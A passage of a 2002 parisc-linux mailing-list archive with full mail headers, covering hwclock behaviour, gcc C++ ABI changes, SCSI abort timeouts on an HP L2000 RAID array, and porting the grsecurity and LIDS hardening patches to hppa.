legolas:/usr/src/linux-ide# date 050600002002
Mon May  6 00:00:00 PDT 2002
legolas:/usr/src/linux-ide# hwclock --systohc
legolas:/usr/src/linux-ide# hwclock --show
Mon May  6 00:00:23 2002  -0.999298 seconds

> Which setting in "Character Devices" do I need so hwclock can access
> the on-board real-time-clock?
>  < > /dev/nvram support
>  < > Enhanced Real Time Clock Support 

You want: "Generic RTC device support" (I think it's on by default). The
fact that hwclock didn't give you an error suggests to me that you
already have that enabled.

randolph



From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NTP and the real time clock
Date: Mon, 6 May 2002 12:57:15 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20020506105714.GS14146@charite.de>
References: <20020506064402.GD14146@charite.de> <20020506065214.GE14146@charite.de> <20020506080328.GA30370@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621278 7049 80.91.229.3 (22 Nov 2014 01:54:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:38 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  6 04:57:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E4A1482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 04:57:18 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 7EAC615C02C; Mon,  6 May 2002 12:57:16 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 0A339633B7; Mon,  6 May 2002 12:57:15 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020506080328.GA30370@tausq.org>
User-Agent: Mutt/1.3.99i
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14724

Am 06.05.2002 um 01:03:29 -0700 schrieb Randolph Chung folgendes:

> > So the hardwareclock is never set.
> 
> Are you sure?

Well, no.
 
> legolas:/usr/src/linux-ide# hwclock --show
> Mon May  6 00:05:08 2002  -0.995996 seconds
> legolas:/usr/src/linux-ide# date 050600002002
> Mon May  6 00:00:00 PDT 2002
> legolas:/usr/src/linux-ide# hwclock --systohc
> legolas:/usr/src/linux-ide# hwclock --show
> Mon May  6 00:00:23 2002  -0.999298 seconds

OK, seems to work.
But what is that "-0.999298 seconds" stuff?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
When the government outlaws cryptography, bayl pevzvanyf jvyy unir
cevinpl. 




From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Edwards <phil@jaj.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Mon, 6 May 2002 10:32:12 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20020506103212.A27151__17952.4061306894$1416621279$gmane$org@disaster.basement.lan>
References: <20020504165740.GN30370@tausq.org> <200205041754.g44Hs8it027911@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621279 7052 80.91.229.3 (22 Nov 2014 01:54:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:39 +0000 (UTC)
Cc: tausq@debian.org, doko@cs.tu-berlin.de,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  6 08:32:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from disaster.jaj.com (disaster.jaj.com [66.92.223.91])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFB94482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 08:32:37 -0600 (MDT)
Original-Received: (from phil@localhost)
	by disaster.jaj.com (8.11.4/8.11.4) id g46EWCL27202;
	Mon, 6 May 2002 09:32:12 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200205041754.g44Hs8it027911@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Sat, May 04, 2002 at 01:54:07PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14725

> > i am concerned that between gcc versions, there are often changes in the
> > C++ (and maybe others) ABI, and moving all of our packages to the new 
> > version is likely going to be a painful process. If the g++-3.2 ABI is
> > already frozen (?)

The C++ ABI is done, but there were minor bugs in 3.0's implementation of
that ABI.  The bugs were fixed in 3.1, thus the change.

The libstdc++ ABI is /not/ stable yet.


> I still haven't figured out why libstdc++ needs to be installed prior
> to running the testsuite.

That's weird... nothing immediately comes to mind.


Phil

-- 
If ye love wealth greater than liberty, the tranquility of servitude greater
than the animating contest for freedom, go home and leave us in peace.  We seek
not your counsel, nor your arms.  Crouch down and lick the hand that feeds you;
and may posterity forget that ye were our countrymen.            - Samuel Adams



From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dodgy SCSI in L2000
Date: Tue, 7 May 2002 17:28:13 +1200
Lines: 264
Approved: news@gmane.org
Message-ID: <006001c1f587$fbc0c830$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621279 7056 80.91.229.3 (22 Nov 2014 01:54:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:39 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  6 23:25:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2186C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 23:25:31 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14726

Okay, I have got my RAID array working now :-)

BUT...

The box dies if I thrash the array with dbench (using anymore than 10
clients), or sometimes when making a filesystem on the array (I have
been able to make a filesystem about once every ten times).

It does the same thing on both SMP and non-SMP kernels.

The raid array looks okay (its 18Gb * 3 in RAID0):

hypo:~# cat /proc/mdstat
Personalities : [linear] [raid0] [raid1] [raid5]
read_ahead 1024 sectors
md0 : active raid0 scsi/host4/bus0/target2/lun0/part1[2]
scsi/host4/bus0/target0/lun0/part1[1]
scsi/host0/bus0/target2/lun0/part1[0]
      53320656 blocks 4k chunks

unused devices: <none>

Now, I try to make a ext2 FS on the array, and it dies like so:

hypo:~# mke2fs /dev/md0
mke2fs 1.27 (8-Mar-2002)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
6668288 inodes, 13330164 blocks
666508 blocks (5.00%) reserved for the super user
First data block=0
407 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632,
2654208,
        4096000, 7962624, 11239424

Writing inode tables: done
Writing superblocks and filesystem accounting information:
^^^^ dies here, just hangs the login session

In the window I have open to the GSP (in a console session) on the
L2000, I see this:

sym4:0:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:0:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:0:0: ABORT operation timed-out.
sym0:0:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:0:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:0:0: DEVICE RESET operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:0:0: DEVICE RESET operation timed-out.
sym0:2:0: DEVICE RESET operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: DEVICE RESET operation timed-out.
sym0:0:0: BUS RESET operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:0:0: BUS RESET operation timed-out.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:0:0: BUS RESET operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:0:0: BUS RESET operation timed-out.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: BUS RESET operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: BUS RESET operation timed-out.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: BUS RESET operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: BUS RESET operation timed-out.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:2:0: BUS RESET operation started.
sym4:2:0: ABORT operation timed-out.
sym4:0:0: DEVICE RESET operation started.
sym0:2:0: BUS RESET operation timed-out.
sym4:0:0: DEVICE RESET operation timed-out.
sym4:2:0: DEVICE RESET operation started.
sym0:2:0: BUS RESET operation started.
sym4:2:0: DEVICE RESET operation timed-out.
sym4:0:0: BUS RESET operation started.
sym0: SCSI BUS reset detected.
sym0: SCSI BUS has been reset.
sym4: SCSI BUS reset detected.
sym4: SCSI BUS has been reset.
sym4:0:0: BUS RESET operation complete.
sym0:2:0: BUS RESET operation complete.
sym4:0:0: ABORT operation started.
sym0:0:0: ABORT operation started.
sym0:0:0: ABORT operation timed-out.
sym0:0:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym0:0:0: ABORT operation timed-out.
sym0:0:0: ABORT operation started.
sym0:0:0: ABORT operation timed-out.
sym0:0:0: ABORT operation started.
sym0:0:0: ABORT operation timed-out.
sym0:0:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:0:0: ABORT operation started.
sym4:0:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.
sym0:0:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym0:2:0: ABORT operation timed-out.
sym0:2:0: ABORT operation started.
sym4:2:0: ABORT operation timed-out.
sym4:2:0: ABORT operation started.

Which loops over and over and over and over..

It also does the same thing using the sym5c8xx version 1 driver as well
as the version 2 driver (the above errors are from the version 2
driver).

At this point the box is totally unusable.

I then hit CTRL-\, and got this:

May  7 16:23:16 hypo kernel:
May  7 16:23:16 hypo kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
May  7 16:23:16 hypo kernel: PSW: 00000000000000000000000000000000 Not
tainted
May  7 16:23:16 hypo kernel: r00-03  0000000000000000 0000000040050d00
000000004003d8bb 00000000000291a0
May  7 16:23:16 hypo kernel: r04-07  0000000000000000 0000000040051500
00000000000290a0 0000000000000004
May  7 16:23:16 hypo kernel: r08-11  0000000040051500 0000000000cb8000
0000000000000197 0000000000036890
May  7 16:23:16 hypo kernel: r12-15  0000000000038ad0 0000000000000197
0000000000000800 0000000000000040
May  7 16:23:16 hypo kernel: r16-19  000000000000ffff 0000000000000001
0000000000000004 00000000401d9ab0
May  7 16:23:16 hypo kernel: r20-23  0000000000000076 00000000401d9ab0
00000000401646a8 00000000bff005c8
May  7 16:23:16 hypo kernel: r24-27  0000000000001000 0000000000035880
0000000000000003 0000000000027b18
May  7 16:23:16 hypo kernel: r28-31  0000000000000000 0000000000000032
00000000bff00440 00000000401646b3
May  7 16:23:16 hypo kernel: sr0-3   0000000000000480 0000000000000480
0000000000000000 0000000000000480
May  7 16:23:16 hypo kernel: sr4-7   0000000000000480 0000000000000480
0000000000000480 0000000000000480
May  7 16:23:16 hypo kernel:
May  7 16:23:16 hypo kernel: IASQ: 0000000000000480 0000000000000480
IAOQ: 0000000040113a2f 0000000040113a33
May  7 16:23:16 hypo kernel:  IIR: 6b540028    ISR: 0000000000000480
IOR: 000000000003d000
May  7 16:23:16 hypo kernel:  CPU:        0   CR30: 000000004c1bc000
CR31: 0000000010460000
May  7 16:23:16 hypo kernel:  ORIG_R28: 0000000000000000


After this has finished dumping, the box is usable again.

One thing I have noticed with mke2fs is that the indode table numbers
tick away pretty fast until it gets to 205, then it slows down big time,
and then it speeds up again until it gets to ~340, at which point the
scsi ABORT errors will sometimes start happening.

I have tested all the disks individually (making filesystems, running
dbench), and the filesystems get made fine, and dbench works okay up to
about 100 odd clients.

I have *no* idea what is causing any of this....anyone else have any
hints/info/fixes for this problem? (Sorry for the long email, but I
figured it would be best to paste the full errors)

I can provide clarification or more details if needed.

Cheers, James




From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [pappy: Re: [parisc-linux] grsecurity patch 2.4.18]
Date: Tue, 7 May 2002 07:42:01 +0200
Lines: 95
Approved: news@gmane.org
Message-ID: <20020507054201.GA10597__23584.4335322783$1416621279$gmane$org@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Nq2Wo0NMKNjxTN9z"
X-Trace: ger.gmane.org 1416621279 7057 80.91.229.3 (22 Nov 2014 01:54:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  6 23:42:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 032E0482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 23:42:14 -0600 (MDT)
Original-Received: from fwd05.sul.t-online.de 
	by mailout06.sul.t-online.com with smtp 
	id 174xjn-0000gr-03; Tue, 07 May 2002 07:42:11 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[217.89.2.2]) by fmrl05.sul.t-online.com
	with esmtp id 174xji-1EbUjAC; Tue, 7 May 2002 07:42:06 +0200
Original-Received: from nikita.ath.cx (pappy@localhost.localdomain [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.2/Debian -5) with ESMTP id g475g47a010610;
	Tue, 7 May 2002 07:42:04 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.2/Debian -5) id g475g2tR010608;
	Tue, 7 May 2002 07:42:02 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Sender: 510056047278-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14727

--Nq2Wo0NMKNjxTN9z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

basically, what we are trying to do is getting either lids or grsec to
work with a 2418-hppa kernel.

the first steps were with "normal" lids, which bombed at early stage
(shortly after init mounted the rootfs, even with security=3D0)

then i tried to make grsecurity patch fit the hppa kernel (but without
deeper knowledge about the differences between i386 stacks and hppa
stack layout i cannot make any code redesign in the stack protector and
the like), the grsec patch did not even build, so i assume, i made a
little mistake somewhere or the patch is not "proposed" to build
platform-independent.
i guess, i will have to look through parisc mem mgmt and proc arch
documentation before i can continue to make the patch fit

current situation:
with some minor changes 2418-hppa-lsm-lids compiles clean, boots, but
the "modprobe lids" in the box gives the following:
drehmoos:/lib/modules/2.4.18-lsm/kernel/security/lids# modprobe lids

=2E.. dmesg output ...

break 0,0: pid=3D236 command=3D'modprobe'
modprobe (pid 236): Breakpoint (code 0)
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
    =20
PSW: 00000000000001101111010100001111 Not tainted
r00-03  00000000 00044810 0003b8d0 0003a000
r04-07  1b360000 401f51e8 ffffffea 401eb008
r08-11  00000004 00000060 00000004 1b360000
r12-15  1b361000 1bb048a0 1b538550 00000003
r16-19  000444fc 00044cfc 00000000 00000040
r20-23  0000000f 01000000 0003b8bc 00000000
r24-27  00000000 00000000 000449b8 102b6010
r28-31  00000000 000006c0 1b538680 10117e6c
sr0-3   00000000 00000000 00000000 00000346
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00034200 00034204
 IIR: 00000000    ISR: 00000000  IOR: 00000000
  CPU:        0   CR30: 1b538000 CR31: 10330000
   ORIG_R28: 102c6810

=2E...=20


after logging in via ssh and just trying to reinsert it a second time,
the module enters:
drehmoos:~# modprobe lids
drehmoos:~# lsmod
Module                  Size  Used by    Not tainted
lids                  500780   1  (initializing)

drehmoos:~# lidsadm -V
VIEW
open: No such file or directory
lidsadm: cannot open /proc/sys/lids/locks

drehmoos:~# ls /proc/sys/lids
ls: /proc/sys/lids: No such file or directory

looks like there is some exercise left to the reader :-)

anyway, i gotta go to work now, it is 7:30 in the morning in .de and my
boss is likely to kill me for being late :-)

bye, pappy

--=20
pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <papp=
y@nikita.ath.cx>
          Key fingerprint =3D  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7=
F D6  05 E1 A8 0C

--Nq2Wo0NMKNjxTN9z
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE812koijt/1gXhqAwRArxtAJ9rAwBJP14EMyX2yY3wvRa9m5DIAACeLdY7
2622wd21lzpC9F9WyrsgkTk=
=H/vX
-----END PGP SIGNATURE-----

--Nq2Wo0NMKNjxTN9z--



From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dodgy SCSI in L2000
Date: Tue, 07 May 2002 00:21:18 -0600
Lines: 68
Approved: news@gmane.org
Message-ID: <20020507062119.F0744482A@dsl2.external.hp.com>
References: <006001c1f587$fbc0c830$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621280 7059 80.91.229.3 (22 Nov 2014 01:54:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Braid" <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 00:21:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id F0744482A; Tue,  7 May 2002 00:21:18 -0600 (MDT)
In-Reply-To: Message from "James Braid" <james.braid@peace.com> 
   of "Tue, 07 May 2002 17:28:13 +1200." <006001c1f587$fbc0c830$5e01000a@bongo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14728

"James Braid" wrote:
> Okay, I have got my RAID array working now :-)
> 
> BUT...

Which kernel version?


> In the window I have open to the GSP (in a console session) on the
> L2000, I see this:
> 
> sym4:0:0: ABORT operation started.
> sym4:0:0: ABORT operation timed-out.
> sym4:0:0: ABORT operation started.
> sym4:0:0: ABORT operation timed-out.
...

This suggests something is wrong with that device.
Are all RAID0 disks internal? Or connected to external box?
I see further down they seem to be working fine individually.

...
> It also does the same thing using the sym5c8xx version 1 driver as well
> as the version 2 driver (the above errors are from the version 2
> driver).

Can you post lspci -v output from you L2000?
I just want to verify the built-in SCSI chips are the
same as on my A500: sym53c896.

...
> One thing I have noticed with mke2fs is that the indode table numbers
> tick away pretty fast until it gets to 205, then it slows down big time,
> and then it speeds up again until it gets to ~340, at which point the
> scsi ABORT errors will sometimes start happening.

I noticed the slow down/speed up when I built the RAID0 on the B180 as well.
No idea what causes it though.

> I have tested all the disks individually (making filesystems, running
> dbench), and the filesystems get made fine, and dbench works okay up to
> about 100 odd clients.

Can you try running two different dbench instances at the some time on
two different disks?

I had to steal the serial port from my A500 or I could do more
to at least reproduce this.

> I have *no* idea what is causing any of this....anyone else have any
> hints/info/fixes for this problem? (Sorry for the long email, but I
> figured it would be best to paste the full errors)
> 
> I can provide clarification or more details if needed.
> 
> Cheers, James
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Dodgy SCSI in L2000
Date: Tue, 7 May 2002 19:00:40 +1200
Lines: 155
Approved: news@gmane.org
Message-ID: <000201c1f594$e5bc6aa0$5e01000a@bongo>
References: <20020507062119.F0744482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
